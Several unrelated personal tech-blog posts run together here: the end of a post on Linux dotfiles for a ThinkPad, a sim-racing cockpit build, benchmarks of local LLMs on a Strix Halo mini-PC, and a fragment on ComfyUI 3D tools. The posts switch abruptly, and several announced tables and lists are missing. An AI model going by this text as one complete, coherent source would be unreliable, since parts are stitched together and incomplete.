envs.sh has what’s mine: OpenRouter base URL, Ollama pointing to the LAN GPU box (192.168.0.14), AWS region, Hugo analytics, zoxide and SSH agent configs. aliases.sh has TLP shortcuts, an alias for shell-gpt via Docker, and functions to harden PATH when running makepkg or yay (prevents binary injection via a malicious user config).

init.sh does the integration work. Atuin with a manual bind for Ctrl-R (so the up arrow keeps bash’s default history-search, which I use more). Keychain loading ~/.ssh/id_ed25519 once per boot and reusing it across shells (no need to re-authenticate SSH every time). Blesh if installed (ZSH-style autosuggestions for Bash). And a function that has PROMPT_COMMAND set the window title to the current pwd and the running command:

__title_idle() { printf '\033]2;%s\007' "${PWD/#$HOME/~}"; }
__title_busy() {
  local cmd="${BASH_COMMAND}"
  [[ "$cmd" == "__title_"* || "$cmd" == *"PROMPT_COMMAND"* ]] && return
  printf '\033]2;%s — %s\007' "${PWD/#$HOME/~}" "$cmd"
}
if [[ -n "${PROMPT_COMMAND-}" ]]; then
  PROMPT_COMMAND="__title_idle; ${PROMPT_COMMAND}"
else
  PROMPT_COMMAND="__title_idle"
fi
trap '__title_busy' DEBUG

Idle, the title shows just the pwd. With a command running, trap DEBUG catches the BASH_COMMAND and updates the title. Waybar’s hyprland/window picks that up and displays it.

For the modern Rust toolbelt, the list:

sudo pacman -S --needed \
  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine \
  zoxide atuin tldr starship

eza replaces ls. bat replaces cat with syntax highlighting. fd replaces find. ripgrep replaces grep. sd replaces sed. delta plugs into git for colored side-by-side diff. dust for visual du. procs for ps. btm (bottom) for top. duf for df. tokei counts lines of code. hyperfine for command benchmarking. zoxide is cd with memory (very useful). atuin is shell history with encrypted sync (I point it to my home server via sync_address = "http://192.168.0.90:8888"). starship is the prompt. tldr is a man page in 10 lines.

The atuin key has to be backed up offline. If you lose it, you lose the encrypted history. I saved mine in my self-hosted Bitwarden (Vaultwarden), documented in the Bitwarden self-hosted article.

Git pipes diff through delta:

[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3

Hyprland and Waybar

Visual and UX customizations on top of the default.

In hypr/looknfeel.conf, smaller gaps (2/5 vs the default 5/10), slide animation between workspaces, VFR on (reduces consumption when the screen is static), allow_session_lock_restore (if hyprlock crashes, it goes back to the lock screen instead of dumping you on the desktop).

In hypr/bindings.conf:

On Waybar, three custom modules I recommend:

Window title: the hyprland/window module shows what’s focused. In bash, PROMPT_COMMAND updates the title to something like “~/Projects/blog — hugo server”. So in waybar the directory and running command show up, without me needing to look at the terminal.

"hyprland/window": {
    "format": "{title}",
    "max-length": 50,
    "rewrite": { "(.{47}).+": "$1…" }
}

Perf mode: custom/perf runs a script that reads TLP state and shows an icon:

"custom/perf": {
    "exec": "~/.config/scripts/perf-waybar.sh",
    "interval": 3,
    "format": "{}",
    "on-click": "~/.config/scripts/perf-toggle.sh"
}

Empty for balanced, 󰓅 PERF for performance, 󰌪 ECO for low-power. Click toggles. Useful to quickly see what mode the machine is in.

Claudebar: I integrated claudebar as a custom module that shows the Claude Code session usage % and extra spend inline in waybar. No need to open another window.

The clock:

"clock": {
    "format": "{:L%A %d %B - %H:%M}",
    "format-alt": "{:L%A W%V %Y - %H:%M}"
}

Shows “Thursday 17 April - 14:32” by default, click toggles to “Thursday W16 2026 - 14:32” with the ISO week number, useful for planning articles and tasks.

Self-hosted Atuin

Atuin runs on my home server at 192.168.0.90:8888. I made a separate account for the notebook (akitaonrails-thinkpad), I don’t mix history with the desktop on purpose. atuin sync runs every 5 minutes and all history is encrypted before going to the server. The server doesn’t see the commands, only encrypted bytes.

Conclusion: picking a notebook for Linux

One thing I learned on this journey: picking a notebook to run Linux comfortably is not trivial. You have to check the ArchWiki for your specific model before buying. The T14s Gen 6 AMD page, for example, catalogs every hardware quirk and how to work around it. Without that reference, you discover the problems during install.

Rule I follow: never buy a freshly-released model. Let 6 to 12 months go by after launch. That gives the community time to iron out bugs, drivers to land mainline, the ArchWiki to have a decent page, libfprint to include the fingerprint sensor, and the kernel to cover WiFi and the IR camera. Buying on day one means signing up as a beta tester.

Brands with a decent Linux track record: Lenovo (especially Thinkpad, they ship Ubuntu and Fedora pre-loaded), Dell (the XPS and Latitude lines), Asus (Zenbook and ROG have reasonable support), Framework (built for Linux from the factory). Any recent Mac is cut off from Linux mainline or runs through Asahi with caveats.

The Thinkpad T14 Gen 6 isn’t the prettiest notebook I could have bought. But it’s rugged, it has the right ports, the fingerprint sensor works, and the plastic shell lets it fall, get scratched, travel in a backpack without making me nervous. To serve as a remote debug companion, it’s what I needed. If that’s your use case too, I recommend it. If you want OLED and metal, go Zenbook or T14s. Every premium comes with a compromise, no Linux notebook in 2026 is perfect.

Everything I described here is versioned in a private repo of mine. If I need to reinstall tomorrow, I run half a dozen steps in order and I’m back at the same place. That’s the whole point of keeping config in Git: notebook is commodity, config is mine.

But the game that really got me hooked on the simcade genre was the original Gran Turismo, in 1997, on the PlayStation 1. “The Real Driving Simulator” on the cover. I played that game obsessively. Around the same time I was watching the Initial D anime, which premiered in 1998 in Japan. I bought every manga volume and read all of it from start to finish. The story of Takumi Fujiwara going down Mount Akina at dawn delivering tofu in his father’s AE86 is, to me, one of the best motorsport stories ever told in any medium.

I still follow Shuichi Shigeno’s work today. After Initial D came MF Ghost (2017-2025), set in the same universe but in a near future where combustion cars have become museum pieces. And now, since July 2025, I’m reading Subaru and Subaru, the direct sequel that ties the Initial D and MF Ghost universes together with two protagonists named Subaru — one from Gunma, one from Kanagawa — competing in a new racing series. It’s Shigeno at his best.

Two years ago I traveled to Japan with my girlfriend and made a point of going to Daikoku PA, the famous parking area on the Shuto Expressway in Yokohama where the JDM culture concentrates. As an old fan of Tokyo Xtreme Racer, by Genki, I needed to see Daikoku with my own eyes at least once. And it didn’t disappoint. Instead of renting a car, we booked a tour with a local guide in his prepped Nissan GT-R. Better that way. On the drive there he explained the history of the Wangan, how the scene works, what’s YouTube exaggeration and what’s real. When we got there on a Friday night and I saw the whole thing in person — Skyline R34, RX-7, Supra, GT-R, tuned kei trucks, insane bosozoku — the feeling was strange in the best possible way. It looked like Tokyo Xtreme Racer, except with the smell of fuel in the air and the sound of real exhaust pipes.

And there’s another detail: I’m playing the new Tokyo Xtreme Racer reboot on PC, and it’s exactly the kind of game that understands its own audience. Strong single-player campaign, addictive progression, the right vibe, and none of the loot box nonsense. I’d recommend it without hesitation. For the same reason, I’m also really looking forward to Forza Horizon 6, which this time is going to be set in Japan. I’ve already pre-ordered it and I can’t wait to play it on the new cockpit.

Driving for real

Now that I’m semi-retired, I’ve had the chance to take my Mercedes to track days. I’ve driven at Autódromo de Interlagos (the Autódromo José Carlos Pace), the 4.309 km circuit in São Paulo that’s been hosting the Brazilian F1 GP since 1973, famous for the S do Senna corner complex and the circuit’s wild elevation changes. I’ve also driven at Autódromo Velocitta, a modern 3.443 km circuit opened in 2014 in Mogi Guaçu in the interior of São Paulo, which hosts Stock Car Brasil and Porsche Cup.

In Las Vegas I’ve driven supercars on those track-day experiences. And when I traveled with my girlfriend to Gramado, in Rio Grande do Sul, we went to Super Carros, which is on Av. das Hortênsias 4635. They have a 2,400 m² hangar with more than 50 cars — Ferraris, Lamborghinis, Porsches, GT-Rs, Corvettes, American muscle cars. You pick a car, head out with an instructor, and drive a roughly 17 km route between Gramado and Canela. I took out a Nissan GT-R and a Ferrari California.

Three years ago I also went to Abu Dhabi with my girlfriend and we went to Ferrari World, which has some of the best racing simulators I’ve ever tried. Hydraulic platform with 6 degrees of freedom, F1 cockpit, the works. I’ve always loved testing simulators wherever I go.

But driving real cars on real tracks is a very expensive hobby. Tires, fuel, insurance, maintenance, registration. And more important: I’m an introvert. I prefer being alone. My simulator cockpit is perfect for when I want to drive without having to deal with anyone. That’s why I love rally so much — it’s me, the virtual co-driver, and the road. Nothing else.

The games I play

I know most people who build a cockpit like this do it to play serious sims — iRacing, Assetto Corsa Competizione, Automobilista 2. I respect that, but it isn’t my thing. I don’t like playing online with other people. I have zero intention of starting a live streaming career. This is purely for my own enjoyment.

These days I play Gran Turismo 7 on the PS5, Forza Motorsport (the 8, from 2023) on PC, but where I have the most fun is in rally games: EA SPORTS WRC, WRC 10 and DiRT Rally 2.0. My first experience with Forza was on the Xbox One with Forza Motorsport 5 and then Forza Horizon 4, which kept me hooked for hundreds of hours.

And I have a huge soft spot for retro games. The original Colin McRae Rally from 1998 on the PS1 was my first rally game. But my favorite of all time is Colin McRae Rally 2.0 (2000), also on the PS1. I recently played through the entire campaign again on the PC version — you can find repacks that run in high resolution and widescreen, much better than the original PlayStation versions. I’d recommend that for any of the titles in the series.

After that came Colin McRae 3 (2002), Colin McRae Rally 04 (2003) and Colin McRae 2005 (2004). Other arcades I revisit often: OutRun 2 SP (2004) and OutRun 2006: Coast 2 Coast (2006) — the best OutRun ever made, in my opinion.

But my game of the year, by a long shot, is Super Woden: Rally Edge. An indie made by a solo developer (ViJuDa, from Spain) that launched in January 2026 for less than R$ 60. Eight countries, more than 80 cars, a career mode, local split-screen multiplayer for up to 4 players, online leaderboards. The behind-the-car camera instead of the top-down view of the previous Super Woden GP made all the difference. 96% positive reviews on Steam with more than 1,300 ratings. It’s the kind of game that proves you don’t need a million-dollar budget to make something amazing.

The evolution of my wheel setup

Logitech G29 era (~2015-2021)

I always wanted a racing wheel. I started over 15 years ago with something equivalent to Logitech’s entry-level wheel, a G29. The G29 is a fine wheel to start with — gear-driven force feedback, pedals with a clutch, 900 degrees of rotation. But its force feedback is noisy and a bit crude. You can feel the gears turning.

Thrustmaster T300RS + SXT V2 stand era (~2021-2024)

Around 2021 I upgraded to the Thrustmaster T300RS, a belt-driven wheel that’s a huge jump up from the Logitech. The force feedback is much smoother and more precise. And I bought the Extreme Sim Racing SXT V2 stand, which is much sturdier than those generic desk clamps.

First I set it up in front of my desktop PC, which at the time had an RTX 3090. It worked, but it was a hassle to keep mounting and unmounting the stand and the cables every time I wanted to play.

Then I built a setup with a long fiber-optic HDMI cable to connect my 60" TV to the PC at the back of the room. I moved the stand in front of the couch. Less of a hassle, but I still had to take it down whenever I wanted to watch a movie with my girlfriend.

Around 2024 or 2025 I swapped my couch for one of those VIP cinema couches from Star Seat, which reclines and the whole nine yards. The problem: it was way taller than the previous couch. I had to do all kinds of workarounds to make the stand work at that height. I even 3D-printed mounts and sent them to PCBWay to machine steel plates so I could attach big wheels under the stand and gain a few centimeters of height. But that left the setup way too wobbly to drive comfortably.

Fanatec CSL DD + Direct Drive era (~2024-2025)

In the meantime I gave the T300 to my brother and upgraded to a Fanatec CSL DD Gran Turismo Edition. The CSL DD’s direct drive motor delivers 5 Nm of torque at the base, but the Gran Turismo DD Pro kit comes with the Boost Kit 180 that brings it up to a sustained 8 Nm with no active cooling. Direct drive means there’s no gear or belt between the motor and the wheel — the motor’s shaft IS the wheel’s shaft. The difference is absurd. The T300 was already great, much better than the Logitech. But the Fanatec is on another level. You feel every asphalt texture, every bump, every incipient slide. There’s no going back once you try it.

I bought it together with the CSL Pedals with Load Cell kit, which measures pressure on the brake instead of displacement. Makes all the difference in braking — you learn to modulate by foot pressure, not by how far the pedal moves. Way more natural.

I also wanted to try the H-pattern manual shifter with the ClubSport Shifter SQ V1.5 from Fanatec and a separate handbrake. It’s fun to try out old cars with a clutch and an H-pattern, but in practice I never adapted. The SXT V2 stand was already shaking a lot with the direct drive, and using the shifter on that unstable setup was frustrating. And I know there are people who want to do heel-toe, but in the simulator I prefer to keep my left foot on the brake and my right on the gas and modulate both at the same time. Works better for me. Now that I have the McLaren wheel with the analog handbrake and clutch paddles right on the wheel, the H-pattern shifter and the external handbrake have been retired. For rally, an analog handbrake on the wheel is much more natural.

I also bought the PS5 with Gran Turismo 7 around this time. I put on the dbrand Darkplates matte black faceplates to replace the original white plates — it looks much better and more discreet.

But the setup was still the SXT V2 stand in front of the VIP couch. The same kludge. The same wobble. I obviously wasn’t going to give up the cinema couch. The situation became unsustainable.

The computer and the hardware setup

A note on my gaming hardware. I bought a Minisforum UX790 Pro to be my dedicated Steam machine. It’s a mini-PC with an Intel Core Ultra 9 285H processor, fits in the palm of your hand. Together I bought the Minisforum DEG1, an external GPU dock that connects via OCuLink (PCIe 4.0 x4, 64 GT/s). It’s an open design — basically a board with a PCIe x16 slot and room for an ATX or SFX power supply. There’s no card size limit, so an RTX 4090 fits comfortably. The performance loss compared to a native PCIe slot is minimal. I put the RTX 4090 in it. The 4090 came from my desktop — at the start of 2025 I went to Miami and took the chance to buy an RTX 5090 because I was using more and more local AI and LLMs. I gave my old 3090 to my girlfriend to use for video editing. The 4090 went into the mini-PC.

So my gaming setup today is: Minisforum UX790 Pro + eGPU with RTX 4090 for Steam and PC games, and a PlayStation 5 with matte black Darkplates for Gran Turismo 7 and exclusives.

The cockpit: Formula FX1

To round out the setup I also needed a decent monitor. I was already used to my 80" Samsung OLED TV in the living room and didn’t want to downgrade picture quality. So I invested in the Samsung Odyssey OLED G8 32". It’s a 4K (3840x2160) OLED monitor with a 240 Hz refresh rate, 0.03 ms response time (GTG), HDR True Black 400, HDR10+, 99% DCI-P3 coverage, 1,000,000:1 contrast, and FreeSync Premium Pro. It has 2 HDMI 2.1 inputs and 1 DisplayPort 1.4.

In practice: the colors pop, black is real black (it’s OLED, no backlight), and with the RTX 4090 I run most games at 4K and 120 fps with no problem. On lighter titles like Super Woden: Rally Edge, it easily hits 240 Hz. The smoothness is absurd. For a cockpit where you’re 60-70 cm from the screen, 32" OLED in 4K is the sweet spot. Bigger and you start to see pixels. Smaller and you lose the immersion.

In January 2026, after years of kludges, I finally ordered a dedicated cockpit. I researched a lot. I considered the Cockpit AX160, made of aluminum profile and very modular, and the Cockpit 4.0, which is the more traditional tubular steel kind. But neither was available at the time of purchase. And then I found the Formula FX1 in black and green from Extreme Racing — Petronas colors, F1-styled.

The FX1 is very different from traditional cockpits. The whole structure is welded thick steel tubing. When I say it doesn’t shake, I mean it doesn’t shake at all. Zero wobble. It’s a brutal difference compared to a stand in front of the couch. The driving position is reclined, F1-style — your feet are at the same height or higher than your hips. You’d think it would be uncomfortable, but it isn’t. You can sit there for hours without complaining. It comes with a padded adjustable seat, an articulating monitor mount, a tilt-adjustable pedal mount, and a height-adjustable wheel mount.

I had to wait about a month for delivery. In the meantime, as anyone who follows my blog knows, I dove into a 16-hour-a-day marathon testing the new AI agents from Anthropic and OpenAI — check the #vibecoding and #agents tags to see everything I built. After about 30 days of that insane marathon, my lower back gave out and I started developing what looks like a herniated disc. I had to see a doctor and take heavy anti-inflammatories.

And right that week, the cockpit decided to arrive.

The build

I was in absurd pain, but I built the cockpit anyway. It took an entire day to unbox and assemble the heavy steel pieces with my back screaming, but I did it.

The official assembly video I followed:

The McLaren GT3 V2 wheel

After assembling the cockpit, I decided that the standard wheel that comes with the CSL GT kit wasn’t enough. I upgraded to the Fanatec CSL Elite McLaren GT3 V2 (~R$ 4,990). It’s a 1:1 scale replica of the McLaren GT3 wheel, with carbon fiber, an OLED display, and compatibility with PC, Xbox, PS4 and PS5.

What I like most about it: it has the normal shift paddles behind it (shift up/down), but it also has two additional analog paddles that can be configured in four different modes. In mode B, which is what I use, the left paddle works as an analog handbrake and the right one as an analog clutch. That’s perfect for rally — I can pull the handbrake mid-corner without taking my hand off the wheel. It also has two 2-position toggles, two 12-position rotaries, 7 standard buttons with interchangeable caps, and Fanatec’s 7-direction FunkySwitch. It’s a complete racing controller.

The final setup

The cockpit ended up in a corner of my bedroom, between the manga shelves (you can spot Akira, Initial D, and 500-something other volumes in the background). I mounted the mini-PC and the PS5 on the cockpit’s side structure, together with the eGPU and the RTX 4090. Everything stays permanently connected. That’s what makes the difference: I no longer have to set anything up or take it down. I sit, turn it on, and I’m driving in 30 seconds.

The audio system

To round out the setup I needed dedicated audio. I didn’t want to use the monitor’s audio (terrible) and I didn’t want to be on a headset all the time. The fix was to build a separate audio system with HDMI audio extraction.

The centerpiece is an HDMI 2.1 switcher from OREI with audio extraction. It has 2 inputs and 1 HDMI output, supports 4K at 120Hz (48 Gbps of bandwidth), and extracts the audio through optical TOSLINK and 3.5mm. I connect the HDMI output of the RTX 4090 to one input and the PS5 to the other. Video goes to the monitor. Audio goes out through the optical port.

The optical audio goes to an Aiyima D03 amplifier, a compact 2.1 channel amp with 150W per channel, integrated DAC (PCM1808 chip), and Bluetooth 5.0 with aptX HD. It has optical, coaxial, USB, RCA and Bluetooth inputs. It even has a dedicated subwoofer output for when I get around to adding one. It uses Texas Instruments’ TAS5624 amplifier chip and has bass and treble control through the remote. For a cockpit setup where you’re 1 meter from the speakers, 150W is more than enough.

In practice, I keep the amp at 50% and Windows volume at 50%, and that’s already loud as hell. Which is to say: this isn’t a “good enough” little system. It’s set up to actually go loud if I want.

The speakers are Edifier P12, passive, with a 4-inch woofer and a 19mm tweeter. Frequency response from 55Hz to 20kHz, 6 ohm impedance, 20W RMS each. The MDF cabinet with wood finish has a rear bass-reflex port that helps the lows. For passive speakers this size, they deliver well. The mid-range is clean and the highs don’t distort even at high volume.

The setup logic is: HDMI switcher handles the switching between PS5 and PC, extracts audio to optical, the amp converts and amplifies, and the passive speakers deliver the sound. All without having to touch the monitor or swap cables. I press a button on the switcher and switch consoles.

When I want to play without bothering anyone, I plug my Meze 109 Pro directly into the 3.5mm output of the HDMI switcher. The Meze 109 Pro is an open-back headphone with 50mm dynamic drivers, 40 ohm impedance, 112 dB SPL/1mW sensitivity, and 5Hz to 30kHz response. The ear cups are walnut wood with handcrafted finish. It’s an audiophile headphone that works perfectly without a dedicated amplifier thanks to the low impedance. The sound is warm, with full bass and rich mids. You can hear every detail of the engines.

I haven’t decided about a subwoofer yet, but it’ll be my next upgrade. A dedicated sub is going to add that low-end weight that makes you feel the engine in your chest.

The verdict

The couch with a stand works. The PC desk with a stand works. But neither comes anywhere close to a dedicated cockpit. The FX1’s steel structure doesn’t move a millimeter, even with the Fanatec direct drive at max torque. The reclined F1 position is comfortable for sessions of hours. The load cell pedals stay firm on the base. The monitor is exactly at the right height and distance. And best of all: it’s always ready. I don’t need to assemble anything, take anything down, run cables, none of it. I sit and I drive.

For anyone who’s wondering whether it’s worth investing in a dedicated cockpit instead of staying with a desk or couch stand: it is. If you already have a direct drive wheel, the cockpit is the missing piece. I spent years thinking “this is fine” with the stand on the couch. It wasn’t fine. The difference in driveability is something else entirely. And for my case — introvert, single-player only, simcade — I couldn’t have built it any sooner. To be honest, I think I’ve finally landed on the simulator setup that’s perfect for my taste.

Shopping list: how much it all cost

Here’s the consolidated list of everything in my current setup, with approximate prices (some were bought in dollars and converted to reais at the time’s exchange rate):

Yes, almost R$ 57k is a lot of money. I worked like a dog for decades. Now that I’ve managed to retire honestly, my family is well taken care of, I have no debts, and I can finally give myself something I always wanted as a kid but couldn’t afford. When I sat at those OutRun and Daytona USA cabinets at the arcade, I dreamed of having something like this at home. It took 30-something years, but I got there.

And if you add up the years of kludges, stands that didn’t work, 15-meter HDMI cables, 3D prints, machined steel plates, and the frustration of mounting and unmounting everything — a dedicated cockpit saves your sanity. Unlike a PC that depreciates fast, a steel cockpit lasts decades.

I bought a Minisforum MS-S1 Max with the new AMD Ryzen AI Max+ 395 chip for one specific reason: this chip supports up to 128GB of unified RAM, and I can allocate 96GB of it as VRAM for the iGPU. That gives me more VRAM than any consumer gaming card, including the RTX 5090 (32GB). And that changes what I can run locally.

Why ditch the Intel NUC

The NUC was a fine Docker server for two years. But the limitation was clear: without a GPU with enough VRAM, I couldn’t run LLMs locally in any usable way. Frank Yomik, my automatic manga translation system, needed CPU-based OCR (slow) and would connect remotely to the Ollama running on my desktop (AMD 7950X3D + RTX 5090) for translation. It worked, but it meant my desktop had to be on for the server to do its job.

With the Minisforum, Frank Yomik now runs entirely on the server. The worker uses ROCm for OCR on the iGPU, and Ollama runs locally with 96GB of VRAM. Zero dependency on the desktop.

You can get a sense of the size from the photo. The NUC is the tiny cube on the left. The Minisforum is bigger but it’s still a mini-PC. It fits on the rack shelf under my Synology NAS without any trouble.

The specs

The chip is the AMD Ryzen AI Max+ 395: 16 cores / 32 threads Zen 5, with an integrated Radeon 8060S iGPU and 128GB of unified LPDDR5X. In the BIOS, I set the UMA Frame Buffer Size to 96GB, which leaves ~30GB of RAM for the operating system and containers. Plus the kernel parameters for TTM (without them, ROCm only sees 15.5GB even with the BIOS allocation in place).

The operating system is openSUSE MicroOS (more on that in the next post). The whole machine pulls under 100W, which is absurd if you’re used to dedicated GPUs that draw 450W+ on their own.

Minisforum vs my desktop: benchmarks

I ran a set of benchmarks comparing the Minisforum against my desktop (AMD 7950X3D, 96GB DDR5, RTX 5090 32GB GDDR7). The results are clear.

CPU

Mixed results. The AI Max+ 395 is better at pure parallelism (multi-core sieve), probably thanks to lower latency in the unified memory architecture. The 7950X3D wins at float and crypto because of its higher clocks and the 3D V-Cache.

LLM inference (models that fit on both)

This is where it gets interesting. For models that fit in the 32GB of the RTX 5090, the comparison is purely about memory bandwidth:

The RTX 5090 is ~7x faster. The explanation is simple: GDDR7 has ~1,792 GB/s of bandwidth. LPDDR5X has ~256 GB/s. The ratio (7x) lines up almost exactly with the measured speed difference (6.7x). LLM inference is a problem dominated by memory bandwidth. Whoever reads weights faster, generates tokens faster.

And what about prompt processing?

Prompt processing is even worse: 7-11x slower. That makes sense, because the prompt has to be processed in full before generating the first token, and it’s an even more bandwidth-intensive operation.

Where the Strix Halo wins: large models

Now we get to the reason I bought this PC. Models that don’t fit in the RTX 5090:

qwen3.5:122b with 81GB of weights running at 19 tok/s. On a mini-PC. That’s simply not possible on an RTX 5090. On the NVIDIA card, that model would have to offload layers to system RAM, dropping to 2-3 tok/s. In practice, unusable.

The difference between MoE and dense models is brutal. qwen3.5:35b runs at 43 tok/s because, despite having 35B total parameters, only ~4B are active per token. A dense 72B model like qwen2.5:72b has to read 40GB+ of weights per token, and at 256 GB/s of bandwidth, the theoretical maximum is ~6.7 tok/s. The 4.5 measured represent ~67% efficiency, which is what you’d expect for an iGPU (overhead from shared bus and drivers).

Summary: when to use which machine

A ROCm bug that’s still around

Not everything works. Models like deepseek-r1:70b, llama3.3:70b and llama4:scout crash with a ggml bug (GGML_ASSERT(ggml_nbytes(src0) <= INT_MAX) failed). The embedding tensor of these models exceeds 2GB and the ROCm copy kernel uses a 32-bit integer for the size. On CUDA (NVIDIA) it’s already been fixed, but on ROCm it hasn’t. Waiting for the fix in Ollama 0.20.0+.

LPDDR5X vs GDDR7: why this difference exists

The next question is: why is LPDDR5X so much slower?

GDDR7 is dedicated GPU memory. It’s soldered onto the graphics card, connected by a wide bus (384 or 512 bits on the RTX 5090) at high clocks. Its only job is to feed data to the GPU. LPDDR5X is unified memory that serves everything: the operating system, applications, and the GPU all at once. The bus is narrower and shared.

In practice: GDDR7 delivers ~1,792 GB/s dedicated to the GPU. LPDDR5X delivers ~256 GB/s that still need to be split between CPU and GPU. LLM inference is basically “read all the model weights from memory, multiply by the current token, generate the next token, repeat.” Whoever reads faster, generates faster. There’s no shortcut.

The Strix Halo’s advantage isn’t speed. It’s capacity. 96GB of VRAM in a 100W chip that costs a fraction of a professional GPU. The RTX 5090 is 7x faster, but it’s stuck at 32GB. Models that don’t fit, don’t run.

The alternatives: who else does this?

If 96GB isn’t enough or you want more speed, the options are limited.

The Framework Desktop uses the same AI Max+ 395 chip with up to 128GB of RAM. Same platform, same performance, but with the differential of being modular and repairable (it’s Framework, after all). In practice it’s equivalent to the Minisforum on specs and price.

Above that, the alternative is a Mac Studio with M3 Ultra. The M3 Ultra chip supports up to 512GB of unified memory, with ~819 GB/s of bandwidth (more than 3x the Strix Halo). Apple manufactures the memory chips on the package, so latency and bandwidth are superior. You could potentially allocate ~400GB as VRAM and run models that don’t fit anywhere outside of professional GPU servers.

Apple’s internal NVMe is also another level: ~7.4 GB/s of sequential read on the M3 Ultra, compared with ~14 GB/s on the Crucial T700 (PCIe 5.0). The T700 is faster on raw throughput, but Apple’s NVMe latency tends to be lower on random I/O thanks to the SoC integration.

The Brazilian price is the elephant in the room. The Mac Studio’s max config costs $9,999 in the US. With import taxes (~60% + state ICMS), it goes past R$ 110,000. The Minisforum with 128GB lands at R$ 12,000-15,000. A nearly 8x price gap buys you a lot.

If you need more than 96GB of VRAM for truly enormous models (DeepSeek-V3 with 671B parameters fits in ~400GB Q4, for example), the Mac Studio with 512GB is the only consumer option. The alternative would be professional NVIDIA A6000 GPUs (48GB VRAM, ~$6,000 each, and you’d need several in NVLink). For everything that fits in 96GB, the Minisforum gets the job done at a fraction of the cost.

And projects that promise to run big LLMs on small GPUs?

There’s a concept called “layer offloading” that projects like llama.cpp already support. The idea: if the model doesn’t fit fully in VRAM, keep some layers on the GPU and the rest in system RAM. The GPU processes the layers it has, hands off to the CPU to process the rest, and back.

In practice, it doesn’t work well. The bottleneck is PCIe: transfer speed between system RAM and GPU VRAM is ~32 GB/s (PCIe 5.0 x16). Each generated token needs to transfer data back and forth. The result is that you drop from 150 tok/s (everything in VRAM) to 2-8 tok/s (partial offload). It’s too slow for interactive use.

VRAM is the fundamental limitation because LLM inference is memory-bandwidth-bound, not compute-bound. The GPU has compute to spare. What’s missing is the ability to read the model weights fast enough. When part of the weights live in system RAM through PCIe, the entire pipeline waits on the transfer.

That’s why unified memory (like in the Strix Halo or Apple Silicon) makes a difference. There’s no PCIe in the middle. CPU and GPU access the same physical memory. The Strix Halo’s 256 GB/s is slow compared to GDDR7, but it’s 8x faster than offloading through PCIe.

Advances in LLM optimization (up to 2026)

To understand why some models run so much better than others on the Strix Halo, you have to understand what’s changed in the ecosystem over the last two years.

Mixture of Experts (MoE)

If you run local models, MoE is the advance that matters most. An MoE model has high total parameters (e.g. 122B in qwen3.5:122b), but only activates a fraction of them per token (e.g. ~4B). The inactive weights stay in VRAM but aren’t read on every token, which drastically reduces the bandwidth needed.

In the Strix Halo benchmarks, MoE models run 3-10x faster than dense models of the same size. qwen3.5:35b (MoE, ~4B active) runs at 43 tok/s while qwen2.5:72b (dense, 72B active) runs at 4.5 tok/s.

DeepSeek and training optimization

DeepSeek V3 (December 2024) showed that it was possible to train 671B parameter models at a cost an order of magnitude lower than predicted. They combined MoE with FP8 quantization during training (not just inference), multi-stage training with curriculum learning, and several inter-GPU communication optimizations. The impact: everyone copied. Qwen, GLM, MiniMax, all of them adopted variations of the technique.

Quantization: from FP16 to Q4 without losing much

Quantization compresses model weights from 16 bits (FP16) to smaller formats: 8 bits (Q8), 4 bits (Q4), or even 2 bits. A 70B model that would take ~140GB in FP16 fits in ~40GB at Q4_K_M. Quality loss exists, but in modern formats (GGUF Q4_K_M, AWQ, EXL2) it’s small enough for practical use.

GGUF (the llama.cpp format) became the standard for local inference. AWQ and GPTQ are alternatives with more sophisticated calibration, but the ecosystem converged on GGUF because it works on CPU, CUDA and ROCm without recompilation.

Distillation: smaller models that know more

Distillation is training a small model using the responses of a large model as the teacher. Microsoft’s Phi-4 (14B) was trained with distillation from GPT-4 and competes with 70B models on several benchmarks. Qwen3 did the same: qwen3:14b is surprisingly capable for its size.

Flash Attention and optimized KV Cache

Flash Attention (Tri Dao, 2022) changed how attention is computed: instead of materializing the full attention matrix in memory, it processes in blocks keeping the data in the GPU’s on-chip SRAM, reducing memory consumption from O(n²) to O(n). Without that, contexts of 128K+ tokens would be impractical. It already went through versions 2 and 3, with optimizations for FP8 and async operations on H100. PagedAttention (vLLM, UC Berkeley) did the same for the KV cache during serving: applies virtual memory concepts to the cache, eliminating fragmentation and improving throughput by 2-4x.

In Ollama, I set OLLAMA_FLASH_ATTENTION=1 and OLLAMA_KV_CACHE_TYPE=q8_0 on the server. The first activates flash attention, the second uses 8-bit KV cache instead of fp16, cutting the bandwidth needed per token in half. These are zero-hardware-cost optimizations that improve throughput measurably.

What Qwen, Kimi, MiniMax and GLM are doing

Qwen (Alibaba) has consistently been the best price/performance in open source models. Qwen3:14b is dense and strong; Qwen3.5:122b is MoE and runs surprisingly well in 96GB. GLM-4.7 (Zhipu AI) is notable for offering bf16 full precision versions that fit in 96GB. MiniMax experimented with long contexts (up to 4M tokens). Kimi (Moonshot AI) focused on large context windows with linear architectures.

What runs well in 96GB of VRAM

With 96GB on the Strix Halo, the models that work well for daily use:

Dense 70B+ models (deepseek-r1:70b, llama3.3:70b) are still blocked by the ROCm bug I mentioned. When it gets fixed, they should run at ~4-6 tok/s, usable for batch but not for interactive chat.

Conclusion

I bought the Minisforum to run models that don’t fit in any gaming GPU. For that, it works. It’s not fast. 19 tok/s on a 122B model isn’t the experience you get with Claude or ChatGPT. But it’s local, it’s private, and it runs on my shelf consuming less power than an old lightbulb.

For people asking about the Mac Studio: if you have the budget, it’s the best machine for running local LLMs. 512GB of unified memory, 819 GB/s of bandwidth, mature Metal/mlx ecosystem. You can run DeepSeek-V3 in full Q4. But in Brazil, with import duties, it crosses R$ 110k. The Minisforum with 128GB at R$ 12-15k is the realistic option.

And for people who think you can work around the VRAM limitation with layer offloading: you can’t. PCIe is too slow. The model has to fit fully in VRAM for inference to be usable. It’s the reason gaming GPUs with 32GB of ultra-fast GDDR7 are still capped on model size, and why the unified memory of the Strix Halo and Apple Silicon changed the equation.

In the next post I tell the story of how I migrated the entire home server to the Minisforum using Claude Code, the problems I ran into, and how openSUSE MicroOS behaves as a Docker server operating system.

I jumped to that conclusion too early. Open source options still vary a lot in quality, most aren’t great, but the commercial options are very good and quite stable. I’m not going to list everything out there, so here are my two YouTube channel recommendations to stay up to date:

• PixelArtistry_
• Stefan 3D AI Lab

In practice, there are several ComfyUI workflows to play with, like this tutorial showing how to use the recently released Trellis2 model from Microsoft. It doesn’t work perfectly like in the video every time. It depends heavily on the image you feed it. In my tests I only got deformed “blobs”.

